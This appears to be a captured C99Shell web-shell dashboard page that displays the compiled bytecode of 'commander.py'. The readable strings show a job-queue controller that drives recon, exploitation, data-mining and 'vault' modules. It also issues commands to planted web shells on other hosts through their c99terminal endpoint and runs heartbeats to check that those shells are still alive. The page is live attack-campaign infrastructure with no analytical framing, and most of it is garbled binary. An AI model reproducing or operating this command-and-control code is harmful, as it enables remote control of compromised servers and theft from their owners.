C99SHELL DASHBOARDc99shell.tail7973d7.ts.net WebshellDBRoot 2026-08-03 08:14:00

!C99SHELL 2.0 [PHP 7 Update] [25.02.2019] !

Software: Apache/2.4.68 (Debian). PHP/8.2.33  

uname -a: Linux 9d2024043b5d 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1
(2026-06-18) x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data)  

Safe-mode: OFF (not secure)

/var/www/html/__pycache__/   drwxrwxrwx
Free 115.58 GB of 452.4 GB (25.55%)


File: commander.cpython-313.pyc · 19.19 KB · -rwxrwxrwx

�

�$pj�)���SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJ	r	J
r
 SSKrSr
\
S-r\S-r\S-rSr\R$R'S\
5 SSKr\4Hr\R."\SS	9 M \R$R1\5(d\R2"S
/S.\"\S55 \R6"5rS
S0rSrSrSr SSjr!Sr"Sr#Sr$Sr%"SS\	5r&Sr'\(S:Xa\'"5 gg)�N)�BaseHTTPRequestHandler�ThreadingHTTPServerz
/var/www/htmlz
/commanderz
/jobs.jsonz/commander.logi�#T)�exist_ok���next�jobs�w�jobc��S[R"S5<SU<3n[[S5nUR	US-5 SSS5 [
RR5(a[USS9 gg!,(df   N==f)N�[z%d/%m %H:%M:%Sz] �a�
T)�flush)	�time�strftime�open�LOG�write�sys�stdout�isatty�print)�m�line�fs   �/var/www/html/commander.py�clogrs`���
�
�&6�7��;�D�	
�c�3��1�	����t���
�
�z�z�����
�d�$���
��s�A;�;
B	c�t�[R"[[55$![a S/S.s$f=f)Nrr)�json�loadr�JOBS�	Exception��r�	read_jobsr&s4��'��y�y��d��$�$���'��2�&�&�'�s�"%�7�7c�L�[R"U[[S5SS9 g)Nr
r��indent)r �dumprr")�js r�	save_jobsr,&s���I�I�a��d�C���+r%c�b�[ [5nUSnUS==S-
ss'X@X=(d 0S[R"5SSSS.	nUSRU5 [	US5S:�aUSSSUS'[U5 SSS5 [
S	WX4-5 U$!,(df   N =f)
Nrr�pending�)	�id�action�args�extra�status�queued�started�finished�noter	�di����zjob %d queued: %s %s)�_lockr&r�append�lenr,r)r1r2r3r+�jidrs      r�
append_jobr>*s���	��K����i��	�&�	�Q��	��D�;�B�"�d�i�i�k�d���-��	
�&�	������q��y�>�C���&�	�$�%�(�A�f�I��!��
�	�	�3��"5�	5�6��J�
��s�A?B � 
B.c��SSKnURUSSUS.SSSS0S	9n[R"S
UR[R
5nU(aUSOSn[R"S
SU5nSHupgURXg5nM SURUSS4-$![anSU-sSnA$SnAff=f)Nr�c99terminalr)�act�troot�tcmd�F�
User-Agent�
Commander/2.0)�params�timeout�verify�headersz<div class="tout">(.*?)</div>���r/z<[^>]+>))z&amp;�&)z&lt;�<)z&gt;�>)z&quot;�")z&#039;�')z&#39;rPz
HTTP %d
%si�zERROR %s)
�requests�get�re�findall�text�S�sub�replace�status_coder#)	�url�cmdrQ�req�outs�outr�b�es	         r�run_shellcmdra:s������l�l�3�}�q�RU�'V�#%�e�$0�/�#B��D���z�z�:�C�H�H�b�d�d�K���d�2�h�B���f�f�Z��S�)��t�D�A��+�+�a�#�C�u������U�d��<�<�<�����A�~����s�B"B%�%
B>�/B9�3B>�9B>c��Sn[RR[R5(dg[
R"[[R55nUR5H�up#URS5nU(dMSSKnURUSSSS0S9n[UR5US'[R"S	5US
'URS:XaSOS
US'US-
nM� [
R "U[[RS5SS9 U$![a gf=f![a
 S
US'SUS'N_f=f)NrrZ�FrErF)rHrIrJ�codez%d/%m/%Y %H:%M:%S�last���yes�no�alive�errrr
r()�os�path�isfile�reng�PLANTEDr r!rr#�itemsrRrQ�strrYrrr*)�n�planted�pd�pvrZrQr\s       r�
heartbeat_allrvJs,��	�A�
�7�7�>�>�$�,�,�'�'����)�)�D����.�/���-�-�/����f�f�U�m����		���,�,�s�A�e�(4�o�'F��H�C��S�_�_�-�B�v�J����':�;�B�v�J�#&�?�?�c�#9�%�t�B�w�K�	
�Q���"�	�I�I�g�t�D�L�L�#�.�q�9��H��%������	��B�w�K��B�v�J�	�s$�-D-�A D=�-
D:�9D:�=E�Ec�2�USnUS:XaSUS'gUS:Xa�URS5=(d SR5=(d Sn[R"[R
[R/UR5-SSS	S
9nSURUR=(d UR=(d SS
S4-US'gUS:Xa�URS5=(d SR5=(d Sn[R"[R
[S-/UR5-SSSS
9nSURUR=(d UR=(d SSS4-US'gUS:Xa�URS5=(d SR5=(d Sn[R"[R
[R/UR5-SSS	S
9nSURUR=(d UR=(d SSS4-US'gUS:Xa�URS5=(d SR5=(d Sn[R"[R
[S-/UR5-SSSS
9nSURUR=(d UR=(d SSS4-US'gUS:Xa�URS5=(d SR5=(d Sn[R"[R
[S-/UR5-SSSS
9nSURUR=(d UR=(d SSS4-US'gUS:Xa[5nSU-US'gUS:XaP[URS 05RS!S5URS 05RS"S#55US'gS$US'g)%Nr1�ping�pongr8�reconr2z--allTi )�capture_outputrUrHzrc=%d %sr/i8����mine�httpz
/dataminer.pyii����exploitz	--exploit�reportz--all --pdf --indexz/reporter.py�vault�listz	/vault.py�xi$����	heartbeatz%d shells checked�shellcmdr3rZr[r0zunknown action)rR�strip�
subprocess�runr�
executablern�__file__�split�
returncoder�stderr�BASErvra)rrAr2�prrs     r�run_jobr�es8��

�h�-�C�
�f�}���F��	��������*�7�1�1�3�>�w���N�N�C�N�N�D�M�M�:�T�Z�Z�\�I�*.�T�4�
I�� �A�L�L�1�8�8�3M�q�x�x�3M�2�t�u�2U�#V�V��F��	��������)�6�0�0�2�<�f���N�N�C�N�N�D�?�,B�C�d�j�j�l�R�*.�T�4�
I�� �A�L�L�1�8�8�3M�q�x�x�3M�2�t�u�2U�#V�V��F��	�	�	������.�;�5�5�7�F�;���N�N�C�N�N�D�M�M�:�T�Z�Z�\�I�*.�T�4�
I�� �A�L�L�1�8�8�3M�q�x�x�3M�2�t�u�2U�#V�V��F��	��������8�#8�?�?�A�Z�EZ���N�N�C�N�N�D�>�,A�B�T�Z�Z�\�Q�*.�T�4�
I�� �A�L�L�1�8�8�3M�q�x�x�3M�2�t�u�2U�#V�V��F��	��������)�6�0�0�2�<�f���N�N�C�N�N�D�;�,>�?�$�*�*�,�N�*.�T�3�
H�� �A�L�L�1�8�8�3M�q�x�x�3M�2�u�v�2V�#W�W��F��	��	��O��)�A�-��F��	�
�	�"�3�7�7�7�B�#7�#;�#;�E�2�#F�#&�7�7�7�B�#7�#;�#;�E�4�#H�J��F��'��F�r%c�t�[R"S5 Sn[ [S(dT[	5nUSHAnUSS:XdMSUS'[R"5US'U[S'[U5 Un O SSS5 U(dM�[
SUS	US
4-5 [U5 SUS'[R"5US'[ [	5nUSH"nUS	US	:XdMURU5 M$ [U5 S[S'SSS5 [
SUS	US4-5 GMB!,(df   N�=f![a*nSUS'S
U-US'[
SUS	U4-5 SnAN�SnAff=f!,(df   No=f![R"5US'[ [	5nUSH"nUS	US	:XdMURU5 M$ [U5 S[S'SSS5 O!,(df   O=f[
SUS	US4-5 f=f)N�rr	r4r.�runningr6zjob %d running: %sr0r1�done�failedzerror %sr8zjob %d failed: %sr7zjob %d finished: %s)
r�sleepr:�_runningr&r,rr�r#�update)rr+�xr`s    r�worker_loopr��s���
��
�
�1�
���
��E�?��K���6��A���{�i�/�&/��(��'+�y�y�{��)��*+����!�!�����#�����
!�S��Y��H�
�$>�
>�?�	E��C�L�"�C��M�#�i�i�k�C�
�O���K���6��A���w�#�d�)�+�����
�#��!��"&����
�
�&�#�d�)�S��]�)C�C�D�C��U��"�	7�$�C��M�$�q�.�C��K��$��D�	�1�~�5�6�6��	7�����#�i�i�k�C�
�O���K���6��A���w�#�d�)�+�����
�#��!��"&����
����
�&�#�d�)�S��]�)C�C�D�sk�(E�7E�+E�F�:)F�
E�
F	� F�?F�F	�	F�
F�H7�<H�)H�	H7�
H�H7c�>�\rSrSrSrSrSrSrSrSr	Sr
S	rg
)�H�c��g�Nr$)�selfrs  r�log_message�
H.log_message�s��r%c�0�[R"U5R5nURU5 UR	SS5 UR	S[[
U555 UR5 URRU5 g)NzContent-Typezapplication/json�Content-Length)
r �dumps�encode�
send_response�send_headerrqr<�end_headers�wfiler)r�rd�obj�bodys    r�_send�H._send�sn���z�z�#��%�%�'�����4� �����);�<����)�3�s�4�y�>�:������
�
����r%c���[URRSS55nUS::a0$[R"UR
R
U55$![a 0s$f=f)Nr�r)�intrJrRr �loads�rfile�readr#)r�rrs  r�_body�H._body�s_��	��D�L�L�$�$�%5�q�9�:�A��A�v��	��:�:�d�j�j�o�o�a�0�1�1���	��I�	�s�,A�.A�A-�,A-c��[RRUR5nURS:Xa2UR	SS[[R"55S.5 gURS:Xae[5nUR	SS[S[USVs/sHo3SS	:XdM
UPM sn5USS
SUR5S.5 gURS:Xa!UR	SUR55 gURS
:Xa#UR	SSUR505 gUR	SSS05 gs snf)Nz/healthrfT)�okrz/statusrr	r4r.i��)�daemonr��queuer	�log_tailz/resultsz/log�lines��error�	not found)�urllib�parse�urlparserlr�r�rr&r�r<�_logtail�_results)r��ur+r�s    r�do_GET�H.do_GET�s
���L�L�!�!�$�)�)�,���6�6�Y���J�J�s�4��T�Y�Y�[�1A�B�C�
�V�V�y�
 ���A��J�J�s�t����&)�a��i�*\�i��X�;�R[�C[�1�i�*\�&]�%&�v�Y�s�t�_�)-����:�
;��V�V�z�
!��J�J�s�D�M�M�O�,�
�V�V�v�
��J�J�s�W�d�m�m�o�6�7��J�J�s�W�k�2�3��+]s�'E�7Ec���[RRUR5nUR	5nURS:Xa�[UR
SS55R5nU(dURSSS05 g[X2R
SS5UR
S5UR
S	5S
.5nURSSU05 gURS
:Xa?URSS[UR
SS5UR
S	S5505 gURS:Xa[5nURSSU05 gURSSS05 g)Nz/jobsr1r/i�r�zaction requiredr2rZr[)rZr[rf�job_idz	/shellcmd�outputr0z
/heartbeat�checkedr�r�)r�r�r�rlr�rqrRr�r�r>rarv)r�r�r_rAr=rrs      r�do_POST�	H.do_POST�s!���L�L�!�!�$�)�)�,���J�J�L���6�6�W���a�e�e�H�b�)�*�0�0�2�C���
�
�3��*;� <�=���S�%�%���"3�Q�U�U�5�\�RS�RW�RW�X]�R^�5_�`�C��J�J�s�X�s�O�,�
�V�V�{�
"��J�J�s�X�|�A�E�E�%��4D�a�e�e�E�SW�FX�'Y�Z�[�
�V�V�|�
#���A��J�J�s�Y��N�+��J�J�s�W�k�2�3r%c��[RR[5(d/$[	[5R5SSVs/sHoR
S5PM sn$s snf![a /s$f=f)Ni���r)rkrlrmrr�	readlines�rstripr#)r��ls  rr��
H._logtail�sg���w�w�~�~�c�"�"��I�	�,0��I�,?�,?�,A�#�$�,G�H�,G�q�H�H�T�N�,G�H�H��H���	��I�	�s#�"A0�A+�(A0�+A0�0A?�>A?c��SSSS0SS.n[RR[RS5n[[
S5RU55US'[RR[R5(a:[[R"[[R555US'[RR[R5(aQ[R"[[R55n[U5US'[SU55US	'[RR[R S
-5(a4[R"[[R S
-55US'[RR[R"5(a1[R"[[R"55US'S
H�upE[RR[R U5nUS:Xa*[[
S5RUS-55X'MdUS:Xa>[R"[U55n[UR%S/55X'M�[R"[U55X'M� U$![a GN�f=f![a GN>f=f![a GN�f=f![a GNtf=f![a GN"f=f![a GM2f=f)Nr)�targets�
scan_total�	scan_live�progressrs�domainsz
*/info.txt�globr�r�r�c3�T# �UHoRS5(dMSv� M  g7f)rirN)rR)�.0r�s  r�	<genexpr>�H._results.<locals>.<genexpr>s���$E��1�e�e�G�n�Q�Q��s�(�	(r�z/progress.jsonr�rs))�exploit_hitszexploit_hits.json)�exploit_runzexploit_run.json)�
vault_entriesz
vault.json)�reportsr�r�z/*/report.htmlr��entries)rkrl�joinrn�TARGETSr<�
__import__r�r#rm�DOMAINS_JSONr r!r�	SCAN_JSON�sum�RECONrorR)r��r�g�sc�kr��fp�vs        rr��
H._results�s~�������q�
*���G�G�L�L����|�4��	��z�&�1�6�6�q�9�:�A�i�L��7�7�>�>�$�+�+�,�,�
�"�4�9�9�T�$�2C�2C�-D�#E�F��)���7�7�>�>�$�.�.�)�)�
��Y�Y�t�D�N�N�3�4��"%�b�'��,��!$�$E��$E�!E��+���7�7�>�>�$�*�*�'7�7�8�8�
� $�	�	�$�t�z�z�<L�/L�*M� N��*�
��7�7�>�>�$�,�,�'�'�
�#�y�y��d�l�l�);�<��)��N�D�A������d�j�j�!�,�B�	
��	�>��z�&�1�6�6�r�<L�7L�M�N�A�D��/�)��	�	�$�r�(�+�A��q�u�u�Y��3�4�A�D��9�9�T�"�X�.�A�D�N����K�	��	��
�
��
���
��
��
�
��
��
�
��
���
��
�sy�&K+�9K<�>AL
�3L�*0L/�.M�AM�!M�+
K9�8K9�<
L
�	L
�
L�L�
L,�+L,�/
L=�<L=�
M�Mr$N)�__name__�
__module__�__qualname__�__firstlineno__r�r�r�r�r�r�r��__static_attributes__r$r%rr�r��s%��
���4�"4�$�+r%r�c��[S[4[5nSUl[	S[-5 [
R"[SS9nUR5 UR5 g![a gf=f)Nz	127.0.0.1Tzcommander up on 127.0.0.1:%d)�targetr�)r�PORTr��daemon_threadsr�	threading�Threadr��start�
serve_forever�KeyboardInterrupt)�svr�ts  r�mainr�sg��
�{�D�1�1�
5�C��C���	'�$�	.�/�����D�9�A��G�G�I�
�������
��
�s�A+�+
A8�7A8�__main__r�))r rkrrr�r�rS�signal�http.serverrr�urllib.parser�r��CMD_DIRr"rr�rl�insert�recon_enginern�d�makedirsrmr*r�Lockr:r�rr&r,r>rarvr�r�r�r�r�r$r%r�<module>r
s��=�=�=�=�C����
��
������
� � ����������4���
��A��K�K��D�!�
�	�w�w�~�~�d����I�I�q�"�%�t�D�#��7�������4�=�� �'�,�
� 
� 
�6$'�N"E�Jk��k�\	
��z���F�r%